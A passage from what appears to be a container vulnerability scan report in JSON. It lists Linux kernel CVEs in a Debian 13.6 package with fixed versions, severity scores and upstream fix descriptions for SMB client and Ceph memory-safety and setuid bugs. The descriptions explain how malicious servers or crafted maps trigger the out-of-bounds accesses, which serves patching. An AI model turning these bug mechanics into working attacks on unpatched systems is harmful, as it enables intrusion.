"6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89631", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:56c5678d45aac3ab111c03cbc0ea64d75c3737562b724c345a807a680de0418d", "Title": "kernel: smb: client: reject a tree connect response whose byte count is too small", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: reject a tree connect response whose byte count is too small\n\nCIFSTCon() bounds its strnlen() over the byte area with the server's\nByteCount minus two, which for ByteCount 0 or 1 goes negative as an int\nand converts to a huge size_t. The later subtraction wraps the __u16\nbytes_left, and that is what bounds cifs_strndup_from_utf16(): a bound of\nup to 65535 against a ~16 KB cifs_req_poolp object runs off the end of the\nslab object, and the bytes reach userspace through tcon-\u003enativeFileSystem\nin /proc/fs/cifs/DebugData.\n\nReject a byte area too small for what the parser consumes. Two bytes is\nthe least it can consume, and no conformant response carries fewer. The\nnew trace point is the 129th smb_eio_trace entry, which __mode(byte)\ncannot represent, so the attribute goes with it.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:85773", "https://access.redhat.com/errata/RHSA-2026:85774", "https://access.redhat.com/security/cve/CVE-2026-89631", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2532089", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540500", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546494", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2532089", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2540500", "https://bugzilla.redhat.com/show_bug.cgi?id=2546494", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89631", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98320", "https://errata.almalinux.org/8/ALSA-2026-85774.html", "https://errata.rockylinux.org/RLSA-2026:85773", "https://git.kernel.org/linus/65deb18359341141d37dc86fc7853511be3c87a7%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89631.mbox", "https://git.kernel.org/stable/c/2ae219762ebac929bf6ab3473681f10ed566af08", "https://git.kernel.org/stable/c/3be89e8039a85fa3b6cd5f9dcc4c1459eb356c2d", "https://git.kernel.org/stable/c/411e484fe71a7f1028de617447edad9cb6d9d68a", "https://git.kernel.org/stable/c/65deb18359341141d37dc86fc7853511be3c87a7", "https://git.kernel.org/stable/c/bb99866cb1d3d5e8201200a8692fd8da3106a8fd", "https://git.kernel.org/stable/c/d837645a719151ed392d4d9cab4571c2753dab12", "https://linux.oracle.com/cve/CVE-2026-89631.html", "https://linux.oracle.com/errata/ELSA-2026-85773.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89631", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89631" ], "PublishedDate": "2026-09-11T20:19:48.64Z", "LastModifiedDate": "2026-10-30T13:20:23.05Z" }, { "VulnerabilityID": "CVE-2026-89633", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89633", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:56df9d57d1ffe051e18d80d21225576a83979d2597728d28d45981ba3b2681b8", "Title": "kernel: smb: client: fix OOB read/write from unvalidated DataOffset in coalesce_t2()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix OOB read/write from unvalidated DataOffset in coalesce_t2()\n\ncoalesce_t2() computes data pointers directly from server-supplied\nDataOffset fields with no validation against buffer bounds:\n\n data_area_of_tgt = (char *)\u0026pSMBt-\u003ehdr.Protocol +\n get_unaligned_le16(\u0026pSMBt-\u003et2_rsp.DataOffset);\n data_area_of_src = (char *)\u0026pSMBs-\u003ehdr.Protocol +\n get_unaligned_le16(\u0026pSMBs-\u003et2_rsp.DataOffset);\n data_area_of_tgt += total_in_tgt;\n ...\n memcpy(data_area_of_tgt, data_area_of_src, total_in_src);\n\nA small DataOffset can push a pointer below the actual byte area,\noverwriting header fields; a large one can push it past the buffer\nend, causing out-of-bounds heap reads (source) or writes (target).\nThe BCC overflow guard does not prevent this: BCC reflects how much\ndata is present, while DataOffset controls where in the buffer it\nstarts.\n\nThe \"validate target area\" comment present since the function was\nfirst written in 2005 was a placeholder that was never implemented.\n\nAdd lower- and upper-bound checks for both data pointers before the\nmemcpy, and before any target header fields are modified.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-89633", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/6343c1da561962688f203362d80d6a3bfa39fa1b%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89633.mbox", "https://git.kernel.org/stable/c/033bc80019f07d158630df4e69b19a49010f54f1", "https://git.kernel.org/stable/c/36d01415d881d5326a0dd3384f781cd7e69aff2d", "https://git.kernel.org/stable/c/531ac35abd74fb5b4aec5e19543e832613a1789d", "https://git.kernel.org/stable/c/6343c1da561962688f203362d80d6a3bfa39fa1b", "https://git.kernel.org/stable/c/672cf86aa6aa0fb4012ce4c3b3498df42ad67a4e", "https://git.kernel.org/stable/c/6eb70b78e48b0031bd1a05fe1b58959a48e87739", "https://git.kernel.org/stable/c/9f3a7440731a34c89ad04fef6616f185acb28401", "https://git.kernel.org/stable/c/f7baf60435129e3a5f3500a38e3cb4c3860deed7", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-kenvkuzgzr9d.toml", "https://linux.oracle.com/cve/CVE-2026-89633.html", "https://linux.oracle.com/errata/ELSA-2026-86033.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89633", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89633" ], "PublishedDate": "2026-09-11T20:19:48.887Z", "LastModifiedDate": "2026-10-30T13:20:23.223Z" }, { "VulnerabilityID": "CVE-2026-89638", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89638", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:89ec528568c23d8534207926fe8d86666c5d4a6bfd08a34f574f218f48c3de77", "Title": "kernel: smb: client: clear setuid/setgid bit on write with cifsacl/modefromsid/posix extensions", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: clear setuid/setgid bit on write with cifsacl/modefromsid/posix extensions\n\nWhen a file has the setuid or setgid bit set and is written to, the VFS\nstrips those bits and issues a setattr with ATTR_KILL_SUID/ATTR_KILL_SGID\ntogether with an ATTR_MODE carrying the already-cleared mode.\n\nBoth cifs_setattr_unix() and cifs_setattr_nounix() unconditionally dropped\nATTR_MODE in that case:\n\n\t/* skip mode change if it's just for clearing setuid/setgid */\n\tif (attrs-\u003eia_valid \u0026 (ATTR_KILL_SUID|ATTR_KILL_SGID))\n\t\tattrs-\u003eia_valid \u0026= ~ATTR_MODE;\n\nThis is fine for the default mount, where the mode is only emulated via\nthe DOS read-only attribute and cannot represent the setuid/setgid bits\nanyway. However, with the \"cifsacl\" or \"modefromsid\" mount options the\nmode is stored on the server through an ACL (id_mode_to_cifs_acl()), with\nthe SMB3.1.1 POSIX extensions the mode is sent to the server directly,\nand with the SMB1 Unix extensions (cifs_setattr_unix) the mode is sent\nvia CIFSSMBUnixSetPathInfo(). In all those cases dropping ATTR_MODE means\nthe cleared mode is never pushed to the server, so the setuid/setgid bit\nsurvives the write.\n\nThis is a security issue: on local filesystems the setuid bit is stripped\nwhen a file is written, but over these cifs.ko mounts the bit persists on\nthe server, potentially allowing an unexpected privilege escalation on\nsubsequent execution.\n\nFix this in two places:\n\n 1. cifs_setattr_nounix(): only take the \"skip mode change\" shortcut\n when the mode is emulated via the DOS read-only attribute (i.e.\n neither cifsacl/modefromsid nor the SMB3.1.1 POSIX extensions are\n in effect), so that the cleared mode is propagated to the server\n in the ACL / POSIX cases.\n\n 2. cifs_setattr_unix(): this function is only called when Unix\n extensions are in effect, so the mode is always stored on the\n server. Remove the shortcut entirely so that the cleared mode is\n always pushed.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://access.redhat.com/errata/RHSA-2026:90365", "https://access.redhat.com/security/cve/CVE-2026-89638", "https://bugzilla.redhat.com/2348512", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2502376", "https://bugzilla.redhat.com/2502382", "https://bugzilla.redhat.com/2507098", "https://bugzilla.redhat.com/2507122", "https://bugzilla.redhat.com/2516251", "https://bugzilla.redhat.com/2516417", "https://bugzilla.redhat.com/2517006", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2535066", "https://bugzilla.redhat.com/2540323", "https://bugzilla.redhat.com/2546385", "https://bugzilla.redhat.com/2546494", "https://bugzilla.redhat.com/show_bug.cgi?id=2348512", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2502376", "https://bugzilla.redhat.com/show_bug.cgi?id=2502382", "https://bugzilla.redhat.com/show_bug.cgi?id=2507098", "https://bugzilla.redhat.com/show_bug.cgi?id=2507122", "https://bugzilla.redhat.com/show_bug.cgi?id=2516251", "https://bugzilla.redhat.com/show_bug.cgi?id=2516417", "https://bugzilla.redhat.com/show_bug.cgi?id=2517006", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2535066", "https://bugzilla.redhat.com/show_bug.cgi?id=2540323", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546494", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63978", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64523", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98320", "https://errata.almalinux.org/9/ALSA-2026-90365.html", "https://errata.rockylinux.org/RLSA-2026:90365", "https://git.kernel.org/linus/b8e5dc4f95e5484159b343903f302eb6d783f2e6%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89638.mbox", "https://git.kernel.org/stable/c/2a5206992f526178881e8f5c4644757c336fb76d", "https://git.kernel.org/stable/c/58b23fc9fb580432470d6c5da3c1e5660dba9fbc", "https://git.kernel.org/stable/c/69bfe810ecd1e0387d8975d711cd326341d13c6e", "https://git.kernel.org/stable/c/7ceb6f7cb8f8f2b094e0dcdaf75757775d231378", "https://git.kernel.org/stable/c/a3a0cc83761e46a75b1ed6bfaf35961f2c211148", "https://git.kernel.org/stable/c/b10015807e4c628095d1d1d1c9307efc8cdd9e1b", "https://git.kernel.org/stable/c/b8e5dc4f95e5484159b343903f302eb6d783f2e6", "https://git.kernel.org/stable/c/ce0e675907b887db2b1e44a806118b0a7d8b6b18", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-99zevkneils0.toml", "https://linux.oracle.com/cve/CVE-2026-89638.html", "https://linux.oracle.com/errata/ELSA-2026-91565.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89638", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89638" ], "PublishedDate": "2026-09-11T20:19:49.493Z", "LastModifiedDate": "2026-10-30T13:20:23.393Z" }, { "VulnerabilityID": "CVE-2026-89652", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89652", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2f315bbd585fa2a8b0f689435c9706c3ffa14c023b1505b178e5f00b8dccc242", "Title": "kernel: ceph: bound copied dentry name length in NFS export get_name", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nceph: bound copied dentry name length in NFS export get_name\n\nceph_get_name() copies the MDS-supplied name into the caller's\nNAME_MAX-sized buffer with memcpy(name, rinfo-\u003edname, rinfo-\u003edname_len)\nand then writes name[rinfo-\u003edname_len] = 0, without checking dname_len\nagainst NAME_MAX. A malicious or buggy MDS that returns a LOOKUPNAME reply\nwith dname_len \u003e NAME_MAX overflows the buffer. __get_snap_name() copies\nrde-\u003ename / rde-\u003ename_len the same unchecked way.\n\nImpact: a malicious or compromised Ceph MDS overflows the NAME_MAX name\nbuffer in a client's NFS-export get_name path, a slab out-of-bounds write\nreported by KASAN. Reachable when a CephFS mount is re-exported over NFS.\n\nAdd ceph_export_copy_name(), which rejects lengths above NAME_MAX with\n-ENAMETOOLONG before the copy, and use it in both ceph_get_name() and\n__get_snap_name().", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89652", "https://access.redhat.com/security/cve/CVE-2026-89652", "https://git.kernel.org/linus/eff8013c5a8916613c742ae5a2cc341cb605c0ae%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89652.mbox", "https://git.kernel.org/stable/c/06fb5e623cdc2402d6bb29be94d9beb9a826ffec", "https://git.kernel.org/stable/c/3cb09301c30909a7935e9de41f98eeb5ef7e4d40", "https://git.kernel.org/stable/c/61d9f27b191b838b96b697ce0bfaee39a138243a", "https://git.kernel.org/stable/c/a294064e0e0f81ea607b2f019e16888aa1b0a011", "https://git.kernel.org/stable/c/aadfe588ad8032ea99bda259ae7b8d42854f8193", "https://git.kernel.org/stable/c/dff3d84d14142ea43ad61ef5d6b4de05ba16ba42", "https://git.kernel.org/stable/c/e7c2fd3893a7f7fcd7e8cf0b2c6348bb1e893df6", "https://git.kernel.org/stable/c/eff8013c5a8916613c742ae5a2cc341cb605c0ae", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-06ghtgcffasr.toml", "https://linux.oracle.com/cve/CVE-2026-89652.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89652", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89652" ], "PublishedDate": "2026-09-11T20:19:51.283Z", "LastModifiedDate": "2026-10-30T13:20:24.69Z" }, { "VulnerabilityID": "CVE-2026-89653", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89653", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:da3ef42fcb318ed819dbdf5607736c088d4d914d3cc4eb70600865942d0f55f8", "Title": "kernel: kernel: Memory corruption via out-of-bounds write in Ceph client", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nceph: reject export_targets ranks \u003e= CEPH_MAX_MDS in mdsmap decode\n\nMDSMap export_targets entries are monitor controlled. check_new_map()\nuses each entry as a bit number in a fixed stack bitmap, so a rank\noutside the protocol namespace can make set_bit() write past the end of\nthe array.\n\nReject ranks outside CEPH_MAX_MDS while decoding the map. Do not\nvalidate against possible_max_rank here because maps may legitimately\nreference ranks beyond a temporarily reduced max_mds.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89653", "https://git.kernel.org/linus/aedc9053d909508a5f56c3f49f885fc030df4730%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89653.mbox", "https://git.kernel.org/stable/c/3740c88ca9cb2210a8dbdd55ea4cec119fbe86fe", "https://git.kernel.org/stable/c/4d298880f82c42383b36946bafde7ccf4d804c9b", "https://git.kernel.org/stable/c/736adee11af36e407ed902264f8b2fb5cf94b62f", "https://git.kernel.org/stable/c/8c823bbab3c24e657469a84db96902ba82d4e8bb", "https://git.kernel.org/stable/c/96c3f5fbb0d5386e7111426f047f98cec4586674", "https://git.kernel.org/stable/c/aedc9053d909508a5f56c3f49f885fc030df4730", "https://git.kernel.org/stable/c/c4addccd05bacbef2144b4db14853d0308a218ac", "https://linux.oracle.com/cve/CVE-2026-89653.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89653", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89653" ], "PublishedDate": "2026-09-11T20:19:51.4Z", "LastModifiedDate": "2026-10-19T09:18:02.8Z" }, { "VulnerabilityID": "CVE-2026-89656", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89656", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:508fd9f30813a3adac141c1966fcd2aaa8cfa77e442765d7da1cddf2d5f3bdf4", "Title": "kernel: libceph: reject buckets with mismatched CRUSH ids", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nlibceph: reject buckets with mismatched CRUSH ids\n\ncrush_decode() stores bucket data by array slot, and the mapper later\nderives the per-bucket workspace index from the decoded bucket id. A\nmalformed map can therefore make one bucket reuse another bucket's\nworkspace by encoding an id different from -1 - slot.\n\nFor uniform buckets, the second replica selection expands the source\nbucket's permutation into that aliased workspace buffer. If the source\nbucket is larger than the aliased bucket, the write runs past the smaller\npermutation array and can escape the kvmalloc'd CRUSH workspace. KASAN\nreports a slab OOB write of 4 bytes in bucket_perm_choose().\n\nReject buckets whose encoded id does not match their array slot. Valid\nCRUSH maps already use the canonical negative id corresponding to the\nbucket slot, so this restores the invariant expected by\nwork-\u003ework[-1 - in-\u003eid] without changing valid map behavior.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89656", "https://git.kernel.org/linus/3cde4a8302301679937474a5f7a851394cc1bd11%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89656.mbox", "https://git.kernel.org/stable/c/00562ccd4e88d092b9b851df50fad20442bfeb24", "https://git.kernel.org/stable/c/3516a4131c4e45d62ee4e42e82c36930e8c1fbbd", "https://git.kernel.org/stable/c/3cde4a8302301679937474a5f7a851394cc1bd11", "https://git.kernel.org/stable/c/4aeb93daadf388e72073abc204312dd364eeb30a", "https://git.kernel.org/stable/c/6e5c6ce252b1eccfd41670a5cf95ab44f7ba7022", "https://git.kernel.org/stable/c/79900d978158b2d80eef952fc41b9e4dc58d7b83", "https://git.kernel.org/stable/c/baad5875fdd2f5e248250fc3519bb045d64f1716", "https://git.kernel.org/stable/c/ee59040d6ed1a5f8d10d27174b8f32c90ca8e89a", "https://linux.oracle.com/cve/CVE-2026-89656.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89656", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89656" ], "PublishedDate": "2026-09-11T20:19:51.813Z", "LastModifiedDate": "2026-10-19T09:18:03.343Z" }, { "VulnerabilityID": "CVE-2026-89659", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { 